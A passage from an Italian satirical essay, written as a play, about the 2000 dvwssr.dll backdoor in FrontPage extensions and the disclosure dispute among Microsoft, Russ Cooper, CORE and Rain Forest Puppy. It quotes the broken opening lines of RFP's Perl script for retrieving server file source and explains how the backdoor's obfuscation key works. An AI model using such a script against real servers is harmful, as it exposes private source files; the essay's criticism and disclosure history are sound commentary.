sbagliato: sorpresa, _OLTRE_ alla backdoor (alle volte il destino si accanisce contro i colpevoli) c'era _anche_ un simpatico buffer overflow, in grado di consentire l'esecuzione di comandi arbitrari sul server (incluso un CMD.EXE da remoto). Tanto per cambiare sono bastardo, e per i dettagli exploitatorii vi rimando al solito SecurityFocus. Immaginatevi Smith che legge l'advisory, e lo commenta con la stessa frase che usa l'omonimo coprotagonista di "The Matrix" di fronte al cannoncino Vulcan del B-212. "NO!" E invece si`, cari. E gia` che ci siamo, vogliamo parlare del fatto che nemmeno Microsoft sia in grado di dirci con QUALI PRIVILEGI questo codice venga eseguito? Sembra incredibile, dal mio punto di vista di persona abituata alla sicurezza UNIX, in cui e` sempre abbastanza chiaro con quali privilegi venga eseguito un certo brandello di codice, ma e` vero! Infatti, in uno stesso post (MS00-025 update , April 17th) i segugi di Redmond riescono ad affermare due cose completamente contraddittorie: > Dvwssr.dll is a server-side component used to support the Link View > feature in Visual Interdev 1.0. However, it contains an unchecked > buffer. If overrun with random data, it could be used to cause an > affected server to crash, or could allow arbitrary code to run on the > server in a System context. E quindi, ci pare di capire, il codice si esegue con privilegi di sistema. Alla faccia del buffer overflow. Ma: > By default, the affected component, Dvwssr.dll, resides in a folder > whose permissions only allow web authors to execute it. Under these > conditions, only a person with web author privileges could exploit the > vulnerability - but a web author already has the ability to upload > and execute code of his choice, so this case represents little > additional threat. Quindi il codice gira coi privilegi da Web Author? (E DICI POCO?) Oppure ci state dicendo che il codice eseguito da Web Author ha gli stessi privilegi di SYSTEM? Credo restera` un mistero fino a quando qualcuno (esterno alla Microsoft, che e` evidentemente INCAPACE di dirimere la questione) fara` funzionare un exploit su questo overflow, dimostrando al di la` di ogni dubbio la sua portata... certo che pero` e` triste dover fare da balia a una societa` cosi` seria e professionale... Ma ecco che, colto in contropiede nella sua opera di Difesa di Microsoft, il Simpatico e Ridente Russ Cooper perde l'occasione di starsene schiscio (traduco dal dialetto milanese: zitto, muto e con le orecchie basse) e contrattacca osservando che "La vulnerability scoperta da CORE sembra completamente scollegata dal problema "weenie", a parte per il fatto che risiede nella stessa DLL." Come se questo risolvesse in qualche modo il problema! Dopodiche` si ridicolizza ulteriormente precisando che se "CORE desidera nomi di DLL da controllare... posso inviargliene una lista-delle-DLL-da-controllare-di-oggi" e che gli sembra ridicolo pensare che "se in una DLL c'e` un potenziale problema ci saranno probabilmente degli exploit". A questo punto uno si chiede: e allora chiudiamo tutte le liste di sicurezza e piantiamola di analizzare i programmi forniti dalle Grandi e Rispettabili Software House. Probabilmente il Ridente Cooper intende proprio questo (ma come? Non gestisce lui stesso la piu` importante lista di sicurezza-NT al mondo?). E insiste nella linea secondo cui "...se fosse stato dato piu` tempo a Microsoft prima che il tutto fosse reso pubblico...", provocando una reazione piccata e pienamente comprensibile di Ivan Arce' (presidente di CORE, l'azienda di Gerardo, scopritore del secondo baco). Ivan si chiede (e chiede un po' a tutti noi che ci occupiamo di queste cose) come ci si possa aspettare che la comunita` della sicurezza si faccia dei problemi relativi alle possibili travisazioni che dei nostri messaggi faranno i giornalisti. Purtroppo non c'e` modo di ovviare all'ignoranza con cui vengono trattati certi temi, e allo stesso tempo non si puo` per questo ricondurre l'analisi di sicurezza all'underground (dove gia` e` rimasta fin troppo a lungo...). In sostanza Cooper (con una faccia di bronzo incredibile, sopratutto visto e considerato che DIRIGE una delle piu` importanti liste di full-disclosure al mondo) sostiene che se non si fosse fatto casino, il secondo "baco" non sarebbe nemmeno saltato fuori, quasi a dire: avete trovato questo baco solo perche` vi scocciava che non ci fosse un reale problema di sicurezza con la backdoor di prima, state giocando sporco, ci sara` sempre un baco, state facendo disinformazione. CORO DELL'ATTO SECONDO Entra e canta le parole di fuoco di Arce' contro Cooper ed il metodo di insabbiamento Microsoft: "I do consider misinformation in terms of information security issues a serious threat. If someone yells 'FIRE' and that appears to be reasonable, i'd be very careful ... before yelling "NOT TRUE! NOT TRUE! EVERYTHING IS FINE!". ... The problem is that there are bugs out there and people is not taking appropriate measures to confirm or deny their existence. Excuse me if i'm being rude, but i'm shocked by the fact that our company is being questioned because we found a bug." ["Considero la disinformazione nel campo di problemi di sicurezza informatica una minaccia seria. Se qualcuno urla "AL FUOCO" e pare ragionevole cio` che dice, io sarei molto cauto ... prima di sostenere: "NON E` VERO! NON E` VERO! VA TUTTO BENE!". ... Il problema e` che ci sono dei bug li` fuori, e c'e` gente che non sta prendendo misure atte a confermarne o negarne l'esistenza. Scusatemi se sono maleducato, ma sono shockato dal fatto che la nostra compagnia venga messa in discussione perche` abbiamo TROVATO un bug."] ------------------------------------------------------------------------------ ATTO TERZO - RFP STRIKES BACK Estratti da "Contemplations on dvwssr.dll and how it affects life" - di Rain Forest Puppy SCENA I - UN UOMO INDOMITO Dopo una lunga pausa di riflessione, RFP decide di riprendere in mano il suo post e di aggiungere le sue considerazioni all'indegno carosello cui abbiamo assistito principalmente da parte di Microsoft e di vari "servi sciocchi" del padrone. E come d'uso, non lo fa in termini normali. Lo cito senza traduzione, perche` sono certo che perderei la freschezza dei suoi passaggi in inglese. "So there I was sitting. An individual injecting permanent black dye into my arm with a small electrical needle device, forming a tribal pattern that will forever be on my arm. Half way through I started to wonder 'why'? And trust me, half way through a tattoo session is not a good time to start wondering such things. Why? Why do such things at all? What would others reactions be to it? Why do I care what others think? Who else is there really? Deep breath. A flood of Descartes enters my mind. What is there beyond myself? How can I be assure of anything beyond me? Quite simply, I can't. I can't tell anyone what it's like to be in Microsoft's place, because I haven't been there. I don't know what it's like to be a Netscape engineer and be called a weenie, because I'm not (a Netscape engineer that is; the other is debatable). I can not positively state for certain anything other than my own perceptions, since I only know what, well, I have personally experienced. So I can only talk of matters concerning me, as when I involve anything beyond myself, I am making assumptions on its form, state, and the perception it offers to me. So I have observed the results of RFP2K02. Every nuance, every publically spoken word on the subject I could find, I have considered, contemplated. What does each contemplation involve? I review them to myself..." Invito tutti coloro che hanno riso fin qui leggendo questo teatrino in cinque atti a leggersi per intero questo post (lo trovate nell'archivio di bugtraq all'indirizzo URL: http://www.securityfocus.com/templates/advisory.html?id=2236) Io mi limitero` a citarne i brani che mi preme commentare, perche` sono il climax e la degna conclusione di questa vicenda da operetta della sicurezza informatica SCENA II - PER QUEL CHE RIGUARDA LA STAMPA... Dapprima il Nostro, in una crisi mistica introspettiva e in un lungo e appassionato monologo degno di una tragedia shakespeariana, si chiede: "Sono forse io la causa del problema?". In alternativa, tutto il casino che e` saltato fuori dai media, e` davvero colpa mia? Per rispondersi, RFP risale al primo articolo sulla vicenda, scritto da Ted Birdis sul Wall Street Journal. E pensa: "Se io fossi stato Ted, cosa avrei fatto leggendo la MIA advisory? L'advisory di una persona non nota e che quindi, per me (Ted) puo` anche sbagliare? Ma e` semplice, mi basta consultare Microsoft". E qui e` la sorpresa. Il manager del security-response center di Microsoft, Steve Lipner (uno dei MIB! Ha un nome! INCREDIBBBBOLE!) CONFERMA a Ted Birdis un rischio elevato di sicurezza derivante da questa backdoor, che viene descritta da lui come "assolutamente contraria alle nostre policy" e come sicura causa di licenziamento per gli eventuali responsabili ancora non identificati. Questo per quanto riguarda l'opinione del produttore. Per quanto riguarda invece l'opinione di Russ Cooper (la PRIMA opinione di Russ Cooper, almeno), egli dichiara a Ted che il problema minaccia "quasi ogni provider che offra servizi di hosting... e` un difetto grave..." Mi ricordo che un detto cinese dice "Three men make a tiger". Perche` se una persona ti dice che ha visto una tigre in citta`, puoi pensare che sia un pazzo. Se sono in due, che siano d'accordo. Ma se TRE persone indipendenti ti confermano la stessa cosa, c'e` da iniziare a pensare che non sia poi del tutto falsa. Il "casino" di cui si lamenta Cooper durante la sua arringa difensiva di Mamma Microsoft Minacciata dai Bimbi Cattivi nasce da qui. Da tre conferme indipendenti di un problema di sicurezza. E, per colmo di ironia, e` proprio Russ Cooper (esperto - lo ricordiamo - di sicurezza NT e amministratore - lo ricordiamo - di NTBugTraq) il primo ad aver detto che si trattava di un problema "diffuso" e "pericoloso", mentre in effetti l'advisory di RFP diceva l'esatto contrario, minimizzando. Tutto sommato, facendo il paragone con la media dei colleghi giornalisti, Ted Birdis si e` comportato in maniera dignitosissima, cercando addirittura un secondo e un terzo parere... Puo` essere colpa sua, o colpa di RFP, se le altre due fonti hanno cambiato idea SUCCESSIVAMENTE (e ci sono le MAIL a dimostrarlo, in questo teatrino dell'assurdo)? No, non puo` essere colpa loro. E quindi, ci si puo` chiedere, dov'e` che Ted Birdis ha sbagliato? La risposta e` necessaria e stringente: non ha sbagliato in nulla. SCENA III - LE MIRABILI TRASFORMAZIONI DI RUSS COOPER "A monk asked Yun Men, 'What are the teachings of a whole lifetime?' Yun Men said, 'An appropriate statement.'" - The Blue Cliff Record RFP e` micidiale nel delineare le tappe della conversione di Cooper. * Venerdi`, 14 Apr 2000, ora imprecisata Intervista con Ted Birdis. Il problema e` diffuso, grave, praticamente presente in ogni internet provider. * Venerdi`, 14 Apr 2000 11:27:09 -0400 Mail su NTBugtraq: e` un problema di sicurezza che puo` consentire ad altre persone (che pero` devono avere gia` i permessi di web authoring) di scoprire dati a cui non dovrebbero avere accesso. * Venerdi`, 14 Apr 2000 15:32:52 -0400 Mail su NTBugtraq, quella famosa contro cui tuonera` Ivan D'Arce: Non c'e` assolutamente nessuna vulnerabilita` su DVWSSR.DLL * Domenica, 16 Apr 2000 10:02:41 -0400 Mail su NTBugtraq: Cooper si autocita e si autocorregge: ho detto che non c'era la vulnerability perche` allora pensavo cosi`, adesso pero` sappiamo che non e` vero [non e` vero che non c'era, quindi e` vero che c'era] Chiarito che in effetti Cooper ha cambiato idea ALMENO due volte, c'e` da capire il motivo... ma ecco che e` Russ Cooper a spiegarsi, sempre in una delle mail sopra citate: "I commenti che ho fatto a Ted Birdis riguardo al problema li ho fatti con poche informazioni a disposizione, e quindi ho evidentemente sopravvalutato il tutto." Eh gia`, adesso e` tutto chiaro. Tranne un piccolo particolare. Perche` un consulente di sicurezza si mette a pontificare a un giornalista che SICURAMENTE scrivera` un articolo di rilevanza nazionale su un problema di cui non ha "esattamente presenti" i confini? E Russ Cooper, che ha tuonato contro questa "sovraesposizione mediatica", non si considera in qualche modo uno dei principali responsabili di essa? No, come ci declama RFP nel: CORO DELL'ATTO III (Anche noto come "le autorita` non sbagliano mai, al limite fraintendono") "I wonder if that [comportarsi come ha fatto Cooper] would be considered contributing to the 'hype'? No, I concluded. If *I* had said such a thing, then yes, it would be directly contributing to the hype. But since an authority said such, well, I would hope that it would help clear the waters, rather than muddy them. Yes, muddy. Indeed." ------------------------------------------------------------------------------ ATTO QUARTO - L'EXPLOIT FANTASMA SCENA I - DEL GIALLO DELL'EXPLOIT "Even when I do things for the sake of others No sense of amazement or conceit arises. It is just like feeding myself; I hope for nothing in return." - Shantideva Ma il macello delle pseudoragioni di Russ Cooper non si ferma qui. Infatti, il Difensore dei Diritti di Microsoft, come ricorderete, aveva lamentato di non riuscire a riprodurre l'attacco su una installazione-tipo di Front Page (come a dire: non e` che RFP ci ha preso in giro?). Come, "non riproducibile"? Si chiede RFP. Non e` che per caso il buon Russ non si e` reso conto che dal momento che quel codice era DIMOSTRATIVO e non un exploit sarebbe stato necessario FORNIRGLI LE CREDENZIALI di Web Authoring per provarlo? Non che non si possa scrivere in modo diverso per creare un vero exploit che funzioni anche senza tali credenziali... ma non era questo lo scopo. Ed era scritto in modo ben evidente in quell'advisory: "Also, the default permissions don't allow for anonymous users to use the .dll--however, anyone with web authoring can, and I've seen few sites that have allowed permission (which is more due to a misconfiguration on their part)." Peraltro, un evidente, piccolo errore di programmazione (del tutto normale in codice inserito in un advisory... strano che Cooper non lo abbia notato come hanno fatto molti altri: forse non comprende il PERL?) lo rendeva inutilizzabile su alcuni casi critici... ma davvero questo e` sufficiente per giudicare negativamente il lavoro di una persona? Non lo credo, visto che il punto era tutt'altro che quello di produrre un exploit funzionante. Quindi, chiarito che lo script aveva uno scopo preciso (e lo assolveva) e sotto quali condizioni fosse utilizzabile, la domanda rimane: come mai Russ Cooper non se ne e` reso conto? Restera` senza risposta, perche` noi qui stiamo facendo del teatro, e l'arte del narrare e` questa: di far sorgere domande senza poi pretendere di fornirne le risposte, ma con il solo scopo di lasciarle alla riflessione del lettore o dello spettatore. Se non vi e` chiaro cio` che voglio dire, cercatevi la videocassetta di "I-TIGI canto per Ustica" di Roberto Paolini. Detto in altre parole: questo articolo non vuole trovare un colpevole, e se lo troverete lo avrete indicato voi, con il vostro cervello e il vostro cuore. Non io. Allo stesso modo, tutti hanno visto nel post di RFP la stessa cosa, e cioe` una non velata presa per i fondelli ai danni dell'imbecille che, in Microsoft, ha creato questa backdoor infantile. Ma non e` stato RFP a deridere Microsoft. Ha solo mostrato una piccola verita` (arma terribile, la verita`! Lo aveva capito perfino Caterina Caselli...). L'impressione che il comportamento della casa di Redmond fosse degno di un bambino dell'asilo ce la siamo creata da soli, con il ragionare e giudicare che e` proprio della nostra condizione di uomini liberi. E lo stesso si puo` dire delle altre impressioni che, prima della fine di questa storia, inevitabilmente avrete. SCENA II - PASSWORD, O NON PASSWORD? QUESTO E` IL DILEMMA! Degno davvero dell'"Amleto" questo passaggio del battibecco Cooper - RFP: RFP: "This particular .dll allows you to read .asp (and .asa) files under the web root, providing you know the 'password' (obfuscated encoding scheme) of which to ask it." Russ Cooper: "THIS IS NOT A PASSWORD..." Password, o non password ? Questo e` il problema! Apriamo dunque la bibbia della crittografia, nientepopodimeno che "Applied Cryptography" di Bruce Schneier (1996 - seconda edizione): Capitolo 1, pagina 1: "Il processo con cui si maschera un messaggio in modo tale da nascondere la sua sostanza si chiama crittazione (encryption)". Ora, come funziona la richiesta alla DLL? Il nome del file richiesto viene OFFUSCATO UTILIZZANDO LA STRINGA "Netscape engineers are weenies". Quindi la richiesta sta, per definizione, venendo "crittata". Anche se normalmente a un processo del genere si da` il nome piu` "limitato" di "encoding". Pagina successiva dello Schneier: "Il "plaintext" ... puo` essere un flusso di bit, un file di testo, una bitmap, uno stream di voce digitalizzata, un'immagine digitale... qualsiaasi cosa." Questa definizione parrebbe includere anche i "nomi di file". Forse in una prossima edizione... Ora, la funzione di encryption (E) e` qualcosa che opera sul plaintext (P) e lo trasforma in cyphertext (C) , e viceversa per la decryption (D). In matematica scriveremmo: E(P) = C D(C) = P ----> D(E(P)) = P, per ogni P [invariante] Quindi, per stabilire se "Netscape engineers are weenies!", oltre che un clamoroso autogol pubblicitario, sia una password, ci dobbiamo chiedere se viene utilizzata nel modo che abbiamo appena detto. Dal momento che lo script in PERL di RFP trasforma il nome di file (P), usando "matematicamente" quella stringa (E), in qualcos'altro (C), che poi la DLL di FrontPage ritrasforma, usando all'indietro quella stringa (D) ancora nel nome di file P, in modo infallibilmente esatto, direi che si`, si tratta di una stramaledetta encryption. Questo sarebbe chiaro anche a un bambino, credo, e vi avra` annoiato che io vi abbia "mostrato" una cosa cosi` ovvia. Ma allora chiediamoci... perche` una persona intelligente, o stimata tale, puo` NEGARE l'evidenza? Quali sono i motivi? Chiediamocelo, perche` e` questo, non altro, il fondamento della morale di questa storia. Della DLL incriminata si son dimenticati tutti, non serve a nulla... della stringa si son dimenticati quasi tutti (sicuramente non se ne sono dimenticati gli ingegneri di Netscape, e nemmeno io che ho scritto questa papagna di articolo). Ma di questa doppiezza incredibile e di questa capacita` di dire "che il si` e` no, e che il no, se lo guardi bene, diventa si`" (non e` mia questa frase, e` di Manzoni), alla facciaccia dell'algebra di Boole, di questa non dobbiamo dimenticarci mai. Ma continuiamo a giocare con le parole... sempre secondo Lord Dark Schneier (scusatemi la concessione al mio essere Otaku... ), capitolo 1 pagina 3: "Un algoritmo la cui sicurezza si basa sul mantenere segreto il suo meccanismo di funzionamento si chiama "algoritmo ristretto"". Dal momento che nessun altro conosceva o aveva pubblicato l'algoritmo "weenie", esso si puo` giustamente considerare in questa categoria... perche` cio` e` interessante? Perche` gli algoritmi ristretti "non consentono di applicare Controllo di Qualita` e Standardizzazione ai prodotti". Ecco perche` quella DLL e` scivolata tra le reti di controllo di mamma Microsoft... e infine l'ultima bordata: questi algoritmi sono utili per "applicazioni a bassa sicurezza" i cui utenti "non comprendano o non si interessino dei problemi di sicurezza nel loro sistema". Se questa e` l'immagine che Microsoft ha del suo cliente business modello nel campo del web authoring e hosting, possiamo anche andarcene tutti a ramengo, in futuro la sicurezza informatica sara` una battaglia persa in partenza... E peraltro ci si puo` chiedere, se questa e` la filosofia di fondo, quanto credibile possa essere l'ISASERVER, il nuovissimo "enterprise class firewall" di Microsoft. Domande, domande, domande... Ma non abbiamo ancora trovato una risposta. Una volta compreso che questo e` un algoritmo di crittazione ristretto, e che la sua scelta indica una bassa stima di Microsoft delle nostre capacita` intellettive, "Netscape engineers are weenies!" ne puo` essere la password? Ricorriamo sempre alla Bibbia: la password e` una cosa "che puo` assumere un ampio numero di valori" e che viene utilizzata sia dall'algoritmo di crittazione che da quello di decrittazione in modo da rendere tali funzioni dipendenti dalla password, e inutili senza la password corretta. Considerando che il weenie algorithm calcola la differenza tra le lettere del nome di file e quelle della famosa stringa, direi che questa e` a tutti gli effetti una password. Ne volete una prova? RFP, umoristicamente, cambia: "Netscape engineers are weenies!" con "Microsoft engineers are weenies!", e nota, sorpreso, che il risultato non funziona piu`. Straaaano. Probabilmente deve essere perche` la frase sta antipatica alla DLL... o piu` facilmente, perche` effettivamente tale frase E` la chiave di crittazione. Considerando che in tutti gli algoritmi "effettivi" usati nell'universo tale chiave viene chiamata "password", potremmo QUASI concludere che lo sia... ma un momento, siamo abituati a pensare che una password sia qualcosa di scelto da noi, definibile da noi e modificabile. La stringa "Netscape engineers are weenies!" non lo e`. Possiamo allora chiamarla "hard-coded password", magari. O forse solo "chiave". Oppure "pass phrase", come nel PGP. Le password sono tutte chiavi? O viceversa tutte le chiavi sono password? O forse entrambe? La vita e` un sogno, o i sogni aiutano a vivere? Quanto siamo piccoli di fronte a questi grandi problemi marzulliani del cosmo e della vita! Russ, bonta` sua, ci evita di partecipare tutti a "Mezzanotte e Dintorni" e acconsente: "... utilizzare il termine password per designare quella stringa non e` al di la` del regno del comprensibile. Infatti client e server devono entrambi conoscere questo valore, e usarlo correttamente, per comunicare." Bonta` sua! Quindi, di una password si tratta, alla facciaccia di Amleto, di Guildenstern, Rosekrantz e del teschio di Yorick. E di chi e` disposto a corrompere il dizionario e a fare il sofista, pur di non ammettere l'evidenza: che in una DLL di SISTEMA creata da MICROSOFT esiste una BACKDOOR dotata di una PASSWORD che avrebbe consigliato a qualsiasi essere umano dotato di dignita` di fare harakiri per la vergogna. Sic transit gloria Redmundi. SCENA III - ADESTE FI(DE)LES (o "E' un problema cosi` grave che i file .asp si aprano?") Che, in definitiva, ottenere accesso ad informazioni che ACL e sistemi di sicurezza tengono occultate sia il modo di procedere di chiunque voglia violare un sistema, direi che non ci sono dubbi. Che uno dei principali meccanismi di sicurezza di un server (e in special modo di uno con accessi FTP e web) sia il controllo d'accesso ai file, e in particolare la "gabbia" che riserva alla lettura via web solo i file posti sotto la cosiddetta "web root" direi che non c'e` dubbio. Internet Information Server e FrontPage hanno una (dis)onorata tradizione per essere infarciti di bug che consentono in modo piu` o meno illecito di "traversare" le directory del server, uscendo dalla gabbia della web root e andando a curiosare piu` o meno ovunque. Per la precisione, il baco del .asp sembra essere "notevolmente limitato" dal fatto che per essere utilizzato l'utente deve gia` avere web authoring permissions su almeno una parte dei file ospitati dal server. Vero. Ma in ogni caso, questa backdoor consente (almeno in teoria) di leggere file che NON DOVREMMO poter leggere. E (cosa ancora piu` grave) di attraversare le directory verso l'alto, leggendo file fuori dalla web root (per esempio: sorgenti .asp ancora in corso di sviluppo su una directory separata). Insomma, consente di violare almeno alcune delle restrizioni fondamentali di sicurezza di un server. Ma quanto e` grave davvero questo problema? CORO DELL'ATTO IV "I do not know. I just know it works. How dangerous this prospect is, is not for me to judge, because I do not have this problem. I do not use FrontPage. I do not mourn. I leave the judging to Russ Cooper, and judge he did do, indeed." ------------------------------------------------------------------------------ ATTO QUINTO - IL PROBLEMA E LA SOLUZIONE " There are moments where time can stand still...where a second in my mind is an hour in time. I can not control the passing of minutes; I am only aware that what was now, is not any more." Rain Forest Puppy SCENA I - QUESTO E` UN PROBLEMA? REPRISE Esiste dunque un problema? Ormai anche il cuore piu` coraggioso inizierebbe a dubitarne. Applichiamo dunque il metodo cartesiano e dubitiamo di tutto. Dubitiamo di Arce' e di Gerardo. Eliminiamo anzi del tutto dal campo quel "secondo exploit" con buffer overflow. Dubitiamo di RFP e di Cooper. Dubitiamo dei loro post e delle loro discussioni. Torniamo alla sorgente, al primo post di Microsoft: "To eliminate this vulnerability, customers who are hosting web sites using any of the affected products should delete all copies of the file Dvwssr.dll from their servers." Parola di Redmond, rendiamo grazie a Bill. Cosa ci hanno detto gli omini in nero? Beh, capperi, mi stanno raccomandando di eliminare un file. Qualcosa che, normalmente, appartiene ai "don'ts" dell'informatica (quante volte avete cancellato una DLL e il vostro delitto e` rimasto impunito? A me di solito salta fuori una simpatica schermata "collegamento mancante all'esportazione... reinstallare Windows"). Cancellare una DLL e` un rischio. Cancellare una DLL che "analizza gli url" passati a un WEBSERVER dovrebbe essere doppiamente, triplamente rischioso, anzi, del tutto distruttivo. Dire che cancellare questa DLL potrebbe non avere effetti negativi e` ammettere che essa in realta` non serve a questo, e anzi non serve a quasi nulla se non viene in qualche modo chiamata. E dire che cancellarla e` IL modo per fixare un problema, significa ammettere due cose: 1) che effettivamente un problema da correggere esiste 2) che questa DLL non ha altre "funzioni" importanti a parte quella di essere causa del problema in questione. In sostanza, questa DLL non "contiene una backdoor". _E`_ una backdoor, e questa e` la sua _unica_ funzione. Vi pare paglia? Ammesso dunque (ammesso perche` non possiamo dubitare delle parole di casa Microsoft quando LORO STESSI consigliano di CANCELLARE una loro DLL) che un problema con questo file esiste, ovviamente permane una obiezione fondamentale di Russ Cooper: "Without proper and full permissions applied across virtual servers on a given box, site leakage or manipulation by others will always be possible in myriad ways." Ma questo in qualche modo sminuisce le scoperte di CORE e di RFP? Solo perche` non si tratta di un nuovo e mistico modo di infrangere le leggi che regolano un sistema informatico, ma di un modo addizionale di sfruttare le debolezze che possono sorgere se vengono impostati male i controlli d'accesso alle informazioni? Se cosi` fosse, dovremmo buttare nel cestino il 99% delle scoperte in questo campo, in quanto davvero sono pochi, a memoria d'uomo, gli exploit davvero innovativi nel loro meccanismo. E se anche questo fosse il dodicesimo modo conosciuto per entrare in possesso di informazioni abusando della web authoring permission, sarebbe in qualche modo intrinsecamente piu` grave degli altri. Perche` VOLONTARIO, capperi. Non dimentichiamocelo. Non si tratta di una sovrapposizione di condizioni tali per cui, se tutte sono verificate, come effetto "secondario" di una serie di piccoli errori di progettazione la sicurezza del sistema viene compromessa. Si tratta di una vera e propria back door inserita volontariamente da una piu` o meno rispettabile (e qui ci scappa da ridere, lo so...) societa` dell'era digitale, ed e` QUESTO, non altro, il punto fondamentale (anche se un notevole punto secondario e`: con che coraggio hanno scelto la password?). Non lasciamoci sviare dalla discussione se questo problema sia piu` o meno grave, se esistano altri modi di approfittare di simili condizioni, se esistano buffer overflow piu` gravi di esso all'interno della stessa DLL. Questo problema e` ETICAMENTE grave, se intenzionalmente inserito. TECNICAMENTE gravissimo, se non rimosso per errore. In ogni caso l'immagine di un produttore di software che si lascia SFUGGIRE una cosa del genere, o la inserisce INTENZIONALMENTE, dovrebbe risultarne incrinata per sempre. Perche` questo non succede? Perche` finiamo per discutere di faccende collaterali, dallo "hype" mediatico scatenatosi, alle procedure corrette per informare le societa`, alla gravita` tecnica del bug? Perche` il cuore del problema, e cioe` la COLPEVOLEZZA ASSURDA di Microsoft, non viene piu` nemmeno menzionato? SCENA II - APPRENDERE E INSEGNARE. "I have heard of the bird trying to teach a fish to fly, but I have never witnessed a fish coaching a bird on flight. That is, until now." Rain Forest Puppy Dopo aver visto in azione il Security Response Team di Microsoft che, disponendo (suppongo) dei sorgenti di quella DLL non trova qualcosa che un esterno ha trovato esaminando il compilato; dopo aver visto l'amministratore di una lista dedicata alla sicurezza sbraitare contro coloro che inviano advisory nelle liste dedicate alla sicurezza; dopo aver udito giornalisti parlare di informatica (con ovvia ignoranza) e informatici parlare di giornalisti (con altrettanto ovvia ignoranza), pensavamo di aver visto tutto. Non e` cosi`. Non avevamo ancora visto la serieta` con cui molti prendono l'analisi della sicurezza. Prendiamo ad esempio il laboratorio di Computer's Reseller News (un sito commerciale dedicato ai canali di distribuzione del materiale informatico). Riporta la notizia del "possibile" bug/exploit/security hole (diamine, nessuno che lo chiami col suo nome: BACK - DOOR) nelle Front Page extensions. Sentite come lo riporta: "The CRN Test Center is currently examining a security hole in Microsoft's FrontPage 98 Server Extensions that allows a hacker to cause a web server to crash via denial of service attacks." E gia` fa inarcare un sopracciglio l'idea che il personale del laboratorio di test di un sito dedicato alla vendita di materiale informatico (gente che di lavoro, per capirci, monta un pc, ne esamina i benchmark, e modifica le configurazioni fino a trovare quelle che sembrano piu` performanti salvo smettere di funzionare appena gli aggiorni i driver delle DirectX...) "The Test Center is currently seeking the assistance of Microsoft and anyone that can successfully demonstrate how the security hole can be exploited." Ma... e tutte le discussioni fatte su bugtraq? Ce le siamo dimenticate di bazza? Ma questa gente da dove ha recuperato le sue informazioni? Ecco la risposta: "The Test Center found a Perl script on the Web that appears to have been authored by the same individual who originally reported the flaw to Microsoft. However in attempting to execute the Perl script, Test Center Engineers ran into syntax errors in the script as well as un-resolved external references." Beh, normale, chiunque di noi (noi = persone che qualche volta si sono occupate di sicurezza informatica) si e` scontrato con qualche script che non funziona... anzi, la stragrande maggioranza degli script e dei .c di exploit non funzionano, vuoi per sfortuna o perche` sono stati appositamente disabilitati per evitarne l'uso da parte del primo imbecille che capita per strada, del cosiddetto "script kiddy", o dell'addetto di un laboratorio di testing per le performance dei calcolatori a cui sembra cosi` semplice tutta questa storia dell'hacking che decide, per il fatto di aver imparato due giorni fa a installare la sua prima distribuzione linux (magari Corel Linux, cosi` non ha fatto troppa fatica), di essere anche lui un espertissimo di sicurezza informatica. Facciamo un giochino come quello della settimana enigmistica. Cosa c'e` di sbagliato nel seguente piccolo inizio di script? #!/usr/bin/perl# dvwssr.pl by LordRaYden :)) (neh, bij Rain Forrest Puppy)# # Usage: dvwssr.pl target_host /file/to/retrieve/source #use Socket;$ip=$ARGV[0]; $file=$ARGV[1]; Io (NON conoscendo il perl) ci ho messo circa 4 secondi a fare "EH?". Voi quanto ci mettete a rendervi conto che uno script con la linea "use Socket" commentata DIFFICILMENTE funzionera`? Eppure qualcuno che si illudeva di condurre test di sicurezza non se ne e` accorto. Eppure questo qualcuno riporta a gran voce che "l'exploit non funziona". Quanti ne ho conosciuti negli ultimi mesi? Ad alcuni di loro sono stati affidati (da persone evidentemente ancora piu` ignoranti e disperate) i test di sicurezza su reti di importanza anche rilevante (commerciale e finanche militare... giuro e parlo per esperienza personale... ahi, povero stato italiano, come mi auguro che non ci capiti mai di essere coinvolti in una guerra dai risvolti informatici...). Tu gli passi qualche dritta, e loro, regolarmente, ti rispondo "eh ma non ha funzionato". Cosa fai? Gli spieghi che cosa sia un offset, che per utilizzare un hack a volte bisogna capire qualcosa dell'effetto, che bisognerebbe studiarsi il TCP/IP e magari qualcuno dei protocolli dei servizi che stai tentando di exploitare? Certe volte la tentazione di limitarsi a dire "Ragazzino, lasciaci lavorare" e` forte... l'idea che certe informazioni andrebbero riservate a un'elite di tecnici in grado di capirci qualcosa compare nella mente, strisciante e seducente... del resto, con una analogia ben calzante, i tecnici e gli esperti sono i nuovi stregoni dell'era digitale... Poi pero` mi rendo conto che il paragone non calza. Nel caso degli stregoni, la conoscenza era volutamente "nascosta", iniziatica. Nel caso dell'informatica ben poco c'e` di nascosto, o che rimane nascosto in eterno (questa storia lo dimostra bene...): tutto si riduce a una semplice necessita`. Per capire, bisogna imparare. Per saper fare le equazioni differenziali bisogna prima imparare a fare le moltiplicazioni. Per studiare le reazioni dei polimeri bisogna prima imparare a leggere una tavola periodica. Per dipingere bisogna prima imparare come si maneggia un pennello. Ci vuole tempo, fatica, studio, convinzione, voglia, per tutte queste cose. Dalle fondamenta al tetto, dal semplice al complesso. Perche` la gente e` convinta che l'informatica sia differente e si possa "usare" un computer senza capire nulla di come funziona, come viene programmato, su quali basi poggia il suo comportamento? Perche` e` convinta che si possa usare la rete senza non dico conoscere i protocolli, ma sapere COSA sia un protocollo, e cosa diavolo succeda in quel fumoso insieme "rete" che persino i libri di informatica dell'universita` rappresentano sempre come una maledetta, non ben definita "nuvoletta" senza alcun tipo di informazione? Non si tratta di essere maghi, o iniziati. Si tratta di avere l'umilta` di imparare cio` che e` necessario, e di ammettere cio` che non si sa, prima di buttarsi a capofitto in imprese che sono impossibili per chi non sa e non capisce. L'umilta` e` una grande lezione che l'informatica moderna tende a far dimenticare. L'umilta` e` la condizione base per apprendere e per imparare. Ma sull'umilta`, e sulla sincerita` nei confronti degli altri, l'informatica moderna offre solo cattivi esempi. Di chi e` la colpa (perche` dal mio punto di vista di una colpa si tratta) di aver trasformato il computer in qualcosa di cosi` "intuitivo" da usare, da renderlo assolutamente impenetrabile, non riparabile, non smanettabile? Da rendere l'utente non qualcuno che "deve e puo` imparare". Ma qualcuno che ha sempre diritto alla pappa pronta, e non si rende conto che assieme a questo diritto assume anche un obbligo. Quello di essere schiavo di chi decide COSA puo` fare. Di essere nato in catene. In una prigione mentale per cui le cose che gli devono essere chiare e quelle che gli devono essere oscure sono selezionate da qualcun altro. Se fossimo in campo politico, chiameremmo tutto questo "censura". Se fossimo dentro un film, chiameremmo tutto questo "Matrix". Se fossimo persone coraggiose e libere, chiameremmo tutto questo "Microsoft". E in ognuno dei tre casi ci sarebbe una sola reazione possibile. La ribellione. SCENA III - IL 